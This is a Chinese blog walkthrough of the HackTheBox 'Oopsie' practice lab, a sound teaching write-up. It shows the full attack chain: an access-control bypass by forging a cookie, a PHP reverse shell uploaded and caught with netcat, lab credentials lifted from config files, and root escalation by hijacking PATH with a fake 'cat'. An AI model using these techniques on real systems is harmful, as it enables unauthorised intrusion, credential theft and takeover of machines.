渗透测试练习靶场hackthebox——Starting Point Oopsie攻略

连接配置

见这篇文章开始部分,在此不再赘述

扫描

根据给出的IP地址,使用nmap进行扫描

nmap -sS -F -sV 10.10.10.28

-sS:半开扫描,Nmap发送SYN包到远程主机,不建立完整的三次握手
-F:快速扫描,扫描一些常用端口
-sV:探测开启的端口来获取服务、版本信息

在这里插入图片描述
如图所示,发现其开放了22和80端口,接下来我们用浏览器进入网站(10.10.10.28:80)进行检查

路径泄露

方法一

在这里插入图片描述
发现可以登录,但是目前没有找到入口,于是我们打开burpsuite截包,在站点地图(Target-Site map)内可以找到一个有趣的路径

在这里插入图片描述

方法二

这里还有另外一个方法,在浏览器内F12打开调试,发现html文件中也会泄露路径

在这里插入图片描述

我们用浏览器访问这个路径:http://10.10.10.28/cdn-cgi/login

在这里插入图片描述

登录

出现了一个登录框,可以去尝试采用爆破等手段,但这里的账号是admin密码是上一节(点这里)已经获得的MEGACORP_4dm1n!!,登录后跳转到门户页面,随便点一点,注意到Uploads页面需要超级管理员才可以上传

在这里插入图片描述
但是目前我们不是超级管理员权限,但是发现Account页面会显示当前用户信息,在burpsuite中截包

SQL注入尝试与越权

在这里插入图片描述

在这里插入图片描述
观察数据包,不难发现自定义cookie由userrole组成,且user值为页面中的Access ID,还可以观察到URL里面的id参数,可以联想到SQL注入和越权,先尝试使用sqlmap进行注入测试

sqlmap -l 1.txt --level 3

-l:从文件内读取请求包

在这里插入图片描述
将burpsuite的请求包保存在1.txt文件内,再用sqlmap进行注入测试

在这里插入图片描述
经过测试发现并无SQL注入存在,于是尝试修改id参数

在这里插入图片描述
发现确实存在越权,于是我们在终端内用循环生成数字1~100到2.txt

for i in `seq 1 100`; do echo $i >>2.txt;done;

在这里插入图片描述
再使用burpsuite的Intruder模块进行自动化攻击

在这里插入图片描述
将上面的请求包右键,发送到Intruder模块中

在这里插入图片描述
进入Positions页面,将id的数值设置为替换位置,使用Sniper模式

在这里插入图片描述
进入Payloads页面,点击Load,从刚才我们生成的2.txt中读取数字列表

在这里插入图片描述
回到Target页面,点击Start attack

在这里插入图片描述
点击Length排序,发现有几个响应包大小明显与其他的不一样,这就是存在的id了,可以看到id参数为30的响应包中,有个用户名为super admin,Access ID也就是上述请求包中自定义cookie的user参数为86575,也可以访问URL:http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=30加以印证

在这里插入图片描述
可以猜想,手动修改cookie的user参数为86575可以进行越权行为,再次访问Uploads页面并使用burpsuite截包后手动修改请求包

在这里插入图片描述
可以看到页面已正常跳转,可以上传文件了

在这里插入图片描述

利用文件上传反弹webshell

我们选择kali自带的php webshell复制到桌面上

cp /usr/share/webshells/php/php-reverse-shell.php ~/桌面

修改里面的本机地址和监听端口,我这里本机地址为10.10.14.15

在这里插入图片描述
回到浏览器中,将文件选择好后,点击Upload按钮时截包,再次将cookie中的user改为86575,提示上传成功

在这里插入图片描述

但是目前我们还不知道上传位置,使用dirsearch进行扫描,点击这里进行下载

python3 dirsearch.py -u 10.10.10.28 -e php

在这里插入图片描述
可以推测上传路径为/uploads下,稍后进行印证
启用netcat监听设置的端口来接收webshell

nc -nvvlp 1234

使用curl来触发php从而反弹webshell

curl http://10.10.10.28/uploads/php-reverse-shell.php

切回nc的终端,发现nc接收到了webshell,证明路径与我们的推测相符

在这里插入图片描述

升级shell

我们来复习一下交互式shell和非交互式shell的区别:

交互式模式就是shell等待你的输入,并且立即执行你提交的命令,退出后才终止
非交互式模式就是以shell script方式执行,shell不与你进行交互,而是读取存放在文件中的命令并执行它们,读取到结尾就终止

用netcat获得的shell是非交互式的,不能传递tab来进行补全,不能使用sunano,也不能执行ctrl+c等命令,所以我们需要升级为交互式的shell

SHELL=/bin/bash script -q /dev/null			//见注解1
Ctrl-Z										//见注解2
stty raw -echo								//见注解3
fg											//见注解4
reset										//见注解5
xterm										//见注解6
  1. 将在环境变量下将shell设置为/bin/bash且参数为-q和/dev/null的情况下运行脚本,-q参数为静默运行,输出到/dev/null(黑洞)里,如果不加script -q /dev/null不会新启一个bash,shell=/bin/bash只是设置shell为bash,加了以后会给你挂起一个新的shell,并帮你记录所有内容(这里感谢一下Faz和众多好友的探讨
  2. 将netcat暂挂至后台
  3. 将本地终端置于原始模式,以免干扰远程终端
  4. 将netcat返回到前台,注意:这里不会显示输入的命令
  5. 重置远程终端,经测试也可以不进行此操作
  6. 运行xterm

在这里插入图片描述

执行完上述操作后,我们会获得一个交互式的shell,可以执行su、ctrl+c等命令,且可以tab自动补全了

横向移动

接下来,我们翻阅各个目录,发现在/var/www/html/cdn-cgi/login目录中存在一个数据库的连接信息db.php,里面包含用户名为robert,密码为M3g4C0rpUs3r!的用户凭证

在这里插入图片描述
这样,我们可以用su命令并输入密码来切换用户

su robert

在这里插入图片描述
在这里我们可以找到位于robert用户家目录下的user.txt,拿到user flag

在这里插入图片描述

提权

使用id命令发现robert用户属于bugtracker组,我们可以尝试查找此组是否具有特殊的访问权限

find / -type f -group bugtracker 2>/dev/null 			//-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker								//-al 以长格式方式显示并且显示隐藏文件

在这里插入图片描述
可以看到红色箭头位置,发现拥有者有s(setuid)特殊权限,可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告

在这里插入图片描述
script命令看看它是怎么运行的在这里插入图片描述
观察红色箭头位置可以发现:

  1. bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限
  2. 且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root
export PATH=/tmp:$PATH				//将/tmp目录设置为环境变量
cd /tmp/							//切换到/tmp目录下
echo '/bin/sh' > cat				//在此构造恶意的cat命令
chmod +x cat						//赋予执行权限

在这里插入图片描述
这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,执行id命令发现只是robert用户的uid变为了root,不是真正的root用户

然后我们可以找到/root目录下的root.txt拿到root flag(此时cat命令已被替换,无法读取文件,所以使用more命令)

在这里插入图片描述

后续

/root/.config/filezilla目录下有一个FileZilla配置文件filezilla.xml,里面包含明文的FTP用户凭据ftpuser/mc@F1l3ZilL4,用于下一个靶机的渗透测试

完结

如有疑问,可在评论区内提出,我会尽力解答。
如有错误,欢迎指正。
感谢观看!

  • 7
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TF0xn

欢迎打赏~~

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值